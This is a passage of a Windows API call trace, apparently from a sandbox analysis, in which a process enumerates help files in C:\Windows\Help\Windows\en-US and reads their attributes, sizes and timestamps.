	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="network.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="netwpr.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc6d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="offline.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x19e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="parent.h1s", cAlternateFileName="")) returned 1
	[0086.778] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="peopcom.h1s", cAlternateFileName="")) returned 1
	[0086.779] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.780] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\Stknote.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\stknote.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e378 | out: lpFileInformation=0x1240e378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7386)) returned 1
	[0086.784] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\Windows.H1T" (normalized: "c:\\windows\\help\\windows\\en-us\\windows.h1t"), fInfoLevelId=0x0, lpFileInformation=0x1240e3c8 | out: lpFileInformation=0x1240e3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x302f8)) returned 1
	[0086.785] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\Windows.h1c" (normalized: "c:\\windows\\help\\windows\\en-us\\windows.h1c"), fInfoLevelId=0x0, lpFileInformation=0x1240e418 | out: lpFileInformation=0x1240e418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3)) returned 1
	[0086.786] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\Windows_AssetId.H1K" (normalized: "c:\\windows\\help\\windows\\en-us\\windows_assetid.h1k"), fInfoLevelId=0x0, lpFileInformation=0x1240e468 | out: lpFileInformation=0x1240e468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a)) returned 1
	[0086.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\Windows_BestBet.H1K" (normalized: "c:\\windows\\help\\windows\\en-us\\windows_bestbet.h1k"), fInfoLevelId=0x0, lpFileInformation=0x1240e4b8 | out: lpFileInformation=0x1240e4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a)) returned 1
	[0086.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\Windows_LinkTerm.H1K" (normalized: "c:\\windows\\help\\windows\\en-us\\windows_linkterm.h1k"), fInfoLevelId=0x0, lpFileInformation=0x1240e508 | out: lpFileInformation=0x1240e508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b)) returned 1
	[0086.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\Windows_SubjectTerm.H1K" (normalized: "c:\\windows\\help\\windows\\en-us\\windows_subjectterm.h1k"), fInfoLevelId=0x0, lpFileInformation=0x1240e558 | out: lpFileInformation=0x1240e558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdfdf8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbbdfdf8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e)) returned 1
	[0086.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\access.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\access.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e5a8 | out: lpFileInformation=0x1240e5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e5de)) returned 1
	[0086.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\activ.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\activ.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e5f8 | out: lpFileInformation=0x1240e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x185c2)) returned 1
	[0086.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\anyupgr.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\anyupgr.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e648 | out: lpFileInformation=0x1240e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc746)) returned 1
	[0086.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\app3rd.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\app3rd.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e698 | out: lpFileInformation=0x1240e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5986)) returned 1
	[0086.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\appman.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\appman.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e6e8 | out: lpFileInformation=0x1240e6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20b27)) returned 1
	[0086.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\appwin.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\appwin.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e738 | out: lpFileInformation=0x1240e738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xebe6)) returned 1
	[0086.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\artcon.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\artcon.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e788 | out: lpFileInformation=0x1240e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa47cb2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xaa47cb2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb1e1a)) returned 1
	[0086.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\artcon2.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\artcon2.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e7d8 | out: lpFileInformation=0x1240e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ff90)) returned 1
	[0086.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\artcon3.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\artcon3.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e828 | out: lpFileInformation=0x1240e828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa988f15, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa988f15, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcdf5)) returned 1
	[0086.790] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\artcon5.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\artcon5.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e878 | out: lpFileInformation=0x1240e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc8ae)) returned 1
	[0086.790] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\artcon6.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\artcon6.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e8c8 | out: lpFileInformation=0x1240e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8040f)) returned 1
	[0086.790] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\articon.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\articon.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e918 | out: lpFileInformation=0x1240e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd0c13)) returned 1
	[0086.791] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\artui.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\artui.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e968 | out: lpFileInformation=0x1240e968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99bae7b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x99bae7b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4d0b76)) returned 1
	[0086.791] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\artui2.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\artui2.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240e9b8 | out: lpFileInformation=0x1240e9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb408)) returned 1
	[0086.791] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\artui3.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\artui3.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ea08 | out: lpFileInformation=0x1240ea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc422e)) returned 1
	[0086.792] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\artui4.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\artui4.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ea58 | out: lpFileInformation=0x1240ea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x10a7a5)) returned 1
	[0086.792] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\artuimedia.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\artuimedia.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240eaa8 | out: lpFileInformation=0x1240eaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9824f)) returned 1
	[0086.792] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\auxdisp.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\auxdisp.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240eaf8 | out: lpFileInformation=0x1240eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16640)) returned 1
	[0086.793] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\basics.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\basics.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240eb48 | out: lpFileInformation=0x1240eb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x76a6f)) returned 1
	[0086.793] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\basics2.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\basics2.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240eb98 | out: lpFileInformation=0x1240eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1961a)) returned 1
	[0086.793] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\bckupbas.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\bckupbas.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ebe8 | out: lpFileInformation=0x1240ebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7b58e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xec7b58e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x27eec)) returned 1
	[0086.794] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\blutooth.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\blutooth.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ec38 | out: lpFileInformation=0x1240ec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe40e)) returned 1
	[0086.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\browser.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\browser.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ec88 | out: lpFileInformation=0x1240ec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6267852, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x53399a00, ftLastWriteTime.dwHighDateTime=0x1ca0427, nFileSizeHigh=0x0, nFileSizeLow=0xff635)) returned 1
	[0086.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\buttons.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\buttons.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ecd8 | out: lpFileInformation=0x1240ecd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x753b)) returned 1
	[0086.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\desk.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\desk.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ed28 | out: lpFileInformation=0x1240ed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5140a)) returned 1
	[0086.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\deskpr.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\deskpr.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ed78 | out: lpFileInformation=0x1240ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2dc5e)) returned 1
	[0086.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\dgloss.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\dgloss.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240edc8 | out: lpFileInformation=0x1240edc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x129a8)) returned 1
	[0086.800] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\diskcln.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\diskcln.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ee18 | out: lpFileInformation=0x1240ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6df)) returned 1
	[0086.800] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\diskmgt.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\diskmgt.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ee68 | out: lpFileInformation=0x1240ee68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b0b9)) returned 1
	[0086.800] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\domain.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\domain.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240eeb8 | out: lpFileInformation=0x1240eeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x700b)) returned 1
